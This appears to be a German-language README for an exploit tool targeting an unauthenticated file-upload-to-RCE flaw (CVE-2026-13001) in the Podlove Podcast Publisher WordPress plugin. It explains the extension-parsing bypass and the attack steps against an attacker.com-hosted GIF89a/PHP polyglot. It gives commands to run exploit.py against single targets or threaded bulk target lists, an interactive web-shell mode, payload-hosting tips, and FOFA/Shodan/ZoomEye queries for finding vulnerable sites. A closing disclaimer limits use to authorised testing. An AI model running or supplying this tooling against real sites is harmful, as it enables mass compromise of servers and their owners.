
CVSS 9.8 (Kritisch) | Nicht authentifizierter beliebiger Datei-Upload, der zu Remote Code Execution führt
Kritische Schwachstelle im Podlove Podcast Publisher WordPress-Plugin (Versionen bis einschließlich 4.5.1), die es nicht authentifizierten Angreifern ermöglicht, über die Bild-Cache-Funktion beliebige PHP-Dateien auf den Server hochzuladen, was zu Remote Code Execution (RCE) führt.
Die Schwachstelle nutzt eine Diskrepanz zwischen zwei internen Funktionen aus, die Dateierweiterungen unterschiedlich parsen:
| Funktion | Methode | Eingabe: payload.php?.gif | Ergebnis |
|---|---|---|---|
is_image() | basename() dann pathinfo() | payload.php?.gif | .gif (Validierung bestanden) |
extract_file_extension() | parse_url() dann pathinfo() | /payload.php | .php (auf der Festplatte gespeichert) |
Die Schwachstelle existiert, weil zwei Funktionen im Podlove-Plugin dieselbe URL parsen, aber unterschiedliche Dateierweiterungen extrahieren:
is_image() — Validierung (in lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
Die Funktion prüft:
exif_imagetype() - erfordert einen gültigen Bild-Header (GIF89a)wp_check_filetype_and_ext()Da basename() den Query-String einschließt, erscheint die Erweiterung als gif - nicht in der Denylist enthalten.
extract_file_extension() — Dateibenennung (in lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
Die Datei wird mit der Erweiterung .php auf der Festplatte gespeichert.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
Die Datei shell_polyglot.gif.php ist eine Polyglot-Datei, die sowohl als GIF-Bild als auch als PHP gültig ist:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Wichtig: Die Polyglot-Datei muss als statische Datei gehostet werden (z. B. Cloudflare R2, AWS S3, nginx ohne PHP). Wenn der Hosting-Server PHP verarbeitet, wird der Code auf dem Hosting-Server ausgeführt, anstatt als Rohinhalt an das Ziel geliefert zu werden.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
Eine erfolgreiche Ausnutzung führt zu Remote Code Execution als Webserver-Benutzer:
wp-content/cache/podlove/podlove_image_cache_url-AnfragenDiese Schwachstelle ist eine Umgehung des Fixes für CVE-2025-10147 (Podlove <= 4.2.6).
| Aspekt | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Grundursache | Überhaupt keine Dateitypvalidierung |
Siehe analysis/CVE_COMPARISON.md für einen detaillierten Vergleich.
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Dieses Tool richtet sich an Sicherheitsforscher und Penetrationstester mit ausdrücklicher schriftlicher Genehmigung zum Testen von Zielsystemen. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für den Missbrauch dieses Tools.
ghostpel-sec — Sicherheitsforschung & Exploit-Entwicklung
Dieses Projekt ist unter der ghostpel-sec Security Research License lizenziert.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-13001 |
| CVSS | 9.8 (Kritisch) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) |
| Plugin | Podlove Podcast Publisher |
| Betroffen | Versionen bis einschließlich 4.5.1 |
| Behoben | 4.5.2 |
| Typ | Nicht authentifizierter beliebiger Datei-Upload zu RCE |
| Forscher | Talal Nasraddeen (über Wordfence) |
| Veröffentlicht | 14. Juli 2026 |
| Validierungsumgehung durch Erweiterungsverwirrung |
| Technik | Direkter PHP-Datei-Upload | GIF89a-Polyglot + URL-Query-Trick |
| Angewendeter Fix | is_image() mit Denylist hinzugefügt | Konsistente Erweiterungs-Analyse korrigiert |